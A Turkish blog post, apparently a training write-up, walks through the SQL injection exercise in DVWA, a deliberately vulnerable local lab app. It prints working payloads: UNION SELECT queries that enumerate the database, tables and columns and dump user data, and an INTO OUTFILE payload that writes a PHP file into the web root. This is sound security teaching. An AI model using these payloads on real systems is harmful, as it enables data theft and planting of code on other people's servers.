DVWA-SQL Injection Bölümü Cevapları Level: Low

Yazıma başlamadan önce yeniden hatırlatmamda fayda var bu yaz Linux Yaz Kampında  Web Uygulama Güvenliği ve Güvenli Kod Geliştirme kursuna katıldım.Orada öğrendiğim şeylerin bazılarını blogumdan paylaşmaya çalışıyorum.Başta Mehmet İnce ve Barkın Kılıç olmak üzere emeği geçen tüm hocalarımıza yeniden teşekkür ederim.Daha önceki yazımda DVWA nedir ve nasıl kurulur anlatmıştım.Bu yazımda ise DVWA ın SQL Injection bölümünün Low leveline ait  kendi cevaplarımı  buradan paylaşacağım.Bir önceki yazıya  buradan ulaşıp DVWA sistemini kurabilirsiniz.

Cevaplara geçmeden önce levelinizin LOW olduğundan emin olunuz.

SQL Injection Tespiti

İlk olarak

 1' or '1'='1 

denemesi ile SQL Injection tespiti yapıyoruz ve sorguların tek tırnak ile olduğunu

görüyoruz.

1

Veritabanındaki Kolon Sayısının Tespiti

 1' UNION SELECT 1,2 # 

sorgusu ile veritabanında iki kolon olduğunu gördük.

 

2

 

Veritabanının Versiyon Bilgisi

1' UNION SELECT version(),2 # 

sorgusu ilede versiyon bilgisini elde edebiliriz.

 

3

Veritabanının İsim Bilgisi

 1' UNION SELECT database(),2 # 

sorgusu ilede database ismine ulaşabiliriz.

 

4

Veritabanındaki Tabloların Belirlenmesi

 1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' # 

sorgusu ile daha önce bulduğumuz dvwa   database ine ait tabloların isimlerine ulaşabiliriz.5

Buradaki çıktıda dvwa veritabanında  guestbook ve users olmak üzere iki adet tablo olduğunu gördük.

Tabloların Kolonlarının Belirlenmesi

 1' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' # 

sorgusu ile dvwa veritabanının users tablosunun kolonlarına ulaşabiliriz.

8

Bu çıktıda ise dediğimiz gibi dvwa veritabanının users tablosunun user_id,first_name,last_name,user,password,avatar adlı kolonlarının olduğunu görmüş olduk.

Tablolardaki Verileri Ekrana Yazdırma

 1' UNION SELECT first_name,last_name FROM users # 

sorgusu ilede dvwa veritabanındaki users tablosundan first_name ve last_name verilerini çektik.

veri cekme

SORGU İLE DOSYA EKLEME

 1' UNION SELECT '<?php echo "ahmet gurel";','?>' INTO OUTFILE '/var/www/html/dvwa/ahmet.php' # 

sorgusu ile ahmet.php dosyası oluşturup içine küçük bir php kodu ekledik.Buraya daha farklı kodlar ve sayfalar oluşturabiliriz.

veri ekleme

 

Sorgumuz çalıştı ve ahmet.php dosyası oluştu.Bu dosyaya 127.0.0.1/dvwa/ahmet.php adresine gittiğimde görüyorum.

ver ekleme2Burada admin admin ahmet gurel yazıyor  aslında  biz php kodumuzda sadece ahmet gurel yazmıstık.Bunun nedeni  UNION dan önceki 1′ çalıştığında ilk kullanıcıyı admin admin döndürüp koda eklemesinden kaynaklanıyor.

Birde bu dosya ekleme saldırısını yapmaya çalıştığında okuma ve yazma yetkiniz yok gibi bir hata alıyorsanız.Linuxta dvwa nın bulunduğu yere  aşağıdaki resimdeki gibi okuma ve yazma izni vererek bu saldırı metodunu deneyebilirsiniz.

izin

 

 

Gördüğünüz gibi SQL Injection açığı bulunan bir sistemde veritabanı isminden,tablo isimlerine,tabloların kolon isimlerine,kullanıcı adlarına,şifrelerine gibi tüm veritabanı bilgilerini çektik ve kendimiz dosya oluşturup içine kendi kodumuzu çalıştırdık.SQL Injection saldırısının ne kadar tehlikeli olabileceğinin yanında nasıl yapıldığını neler yapabileceğimizi birlikte bu sistem üzerinde manuel olarak inceledik.SQL bilgimiz ne kadar iyiyse o kadar fazla saldırı metodu oluşturup çok daha farklı şeyler yapmak bizim elimizde.Tabiki SQL Injection dendiğinde çoğu kişi bunu manuel değilde SQL MAP ile yapmakta.Burdaki sistemde kendinizi geliştirip mantığını anladıktan sonra SQL MAP i öğrenip kullanmanızı tavsiye ederim.Bunun dışında işinize web açıklarını ararken,test ederken Firefox ve Chrome üzerinde bir çok eklenti bulunmakta.Pentesterlar için Firefox eklentileri adlı yazıya buradan ulaşıp inceleyebilirsiniz.Bir başka yazıda görüşmek üzere…

 

Ahmet Gürel

Cyber Security Researcher | Penetration Tester

Leave a Reply